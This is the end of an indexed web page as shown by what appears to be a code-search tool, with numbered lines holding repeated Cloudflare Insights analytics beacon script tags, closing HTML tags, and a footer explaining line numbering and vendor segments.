18990<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v833ccba57c9e4d2798f2e76cebdd09a11778172276447" integrity="sha512-57MDmcccJXYtNnH+ZiBwzC4jb2rvgVCEokYN+L/nLlmO8rfYT/gIpW2A569iJ/3b+0UEasghjuZH/ma3wIs/EQ==" data-cf-beacon='{"version":"2024.11.0","token":"3fb67fb8393c4f85a133abb759cb8f6a","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
vendor: 1 bytes, line 18990
18990
18991<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v833ccba57c9e4d2798f2e76cebdd09a11778172276447" integrity="sha512-57MDmcccJXYtNnH+ZiBwzC4jb2rvgVCEokYN+L/nLlmO8rfYT/gIpW2A569iJ/3b+0UEasghjuZH/ma3wIs/EQ==" data-cf-beacon='{"version":"2024.11.0","token":"3fb67fb8393c4f85a133abb759cb8f6a","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
vendor: 1 bytes, line 18991
18991
18992<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v833ccba57c9e4d2798f2e76cebdd09a11778172276447" integrity="sha512-57MDmcccJXYtNnH+ZiBwzC4jb2rvgVCEokYN+L/nLlmO8rfYT/gIpW2A569iJ/3b+0UEasghjuZH/ma3wIs/EQ==" data-cf-beacon='{"version":"2024.11.0","token":"3fb67fb8393c4f85a133abb759cb8f6a","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
vendor: 1 bytes, line 18992
18992
18993<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v4513226cdae34746b4dedf0b4dfa099e1781791509496" integrity="sha512-ZE9pZaUXND66v380QUtch/5sE9tPFh2zg45pR2PB0CVkCtOREv2AJKkSidISWkysEuQ0EH8faUU5du78bx87UQ==" data-cf-beacon='{"version":"2024.11.0","token":"3fb67fb8393c4f85a133abb759cb8f6a","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
vendor: 1 bytes, line 18993
18993
18994<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"3fb67fb8393c4f85a133abb759cb8f6a","r":1,"spa":2}' crossorigin="anonymous"></script>
vendor: 1 bytes, line 18994
18994
18995<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"3fb67fb8393c4f85a133abb759cb8f6a","r":1,"spa":2}' crossorigin="anonymous"></script>
vendor: 1 bytes, line 18995
18995
18996<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"3fb67fb8393c4f85a133abb759cb8f6a","r":1,"spa":2}' crossorigin="anonymous"></script>
18996
18997</body>
18998</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.